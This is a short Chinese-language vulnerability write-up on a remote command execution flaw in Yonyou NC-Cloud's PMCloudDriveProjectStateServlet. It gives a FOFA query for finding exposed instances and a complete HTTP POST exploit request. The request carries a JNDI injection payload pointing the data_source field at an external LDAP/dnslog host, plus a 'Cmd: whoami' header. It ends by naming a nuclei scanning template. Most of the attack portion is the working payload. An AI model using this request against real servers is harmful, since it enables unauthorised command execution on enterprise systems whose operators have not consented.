用友NC-Cloud PMCloudDriveProjectStateServlet 存在远程命令执行漏洞
一、漏洞简介
用友NC Cloud是用友推出的大型企业数字化平台。用友NC-Cloud PMCloudDriveProjectStateServlet 存在远程命令执行漏洞。
二、影响版本
- 用友NC-Cloud
三、资产测绘
- fofa
app="用友-NC-Cloud" - 登录页面
四、漏洞复现
- 用yakit生成dnslog域名
- 探测是否存在漏洞
POST /service/~aert/PMCloudDriveProjectStateServlet HTTP/1.1
Host: {hostname}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cmd: whoami
Cookie: JSESSIONID=53521AE090615957863B7EFC1AEC1F39.server
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
{"data_source":"ldap://4vfh9q.dnslog.cn","user":"admin","pk_group":"111"}
nuclei脚本
用友-nc-cloud-pmclouddriveprojectstateservlet-远程命令执行.yaml